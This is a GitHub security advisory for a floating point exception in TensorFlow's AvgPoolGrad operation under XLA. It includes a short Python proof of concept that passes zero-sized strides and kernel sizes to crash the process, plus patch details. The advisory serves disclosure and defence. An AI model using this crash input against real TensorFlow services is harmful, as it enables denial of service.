GHSA-rcf8-g8jv-vg6p
GitHub Security Advisory
TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
Advisory Details
### Impact
If the stride and window size are not positive for `tf.raw_ops.AvgPoolGrad`, it can give an FPE.
```python
import tensorflow as tf
import numpy as np
@tf.function(jit_compile=True)
def test():
y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding="SAME", data_format="NCHW")
return y
print(test())
```
### Patches
We have patched the issue in GitHub commit [1295ae4dbb52fe06b19733b0257e2340d7b63b8d](https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d).
The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by r3pwnx of 360 AIVul Team
Affected Packages
Related CVEs
Key Information
Dataset
Data from GitHub Advisory Database. This information is provided for research and educational purposes.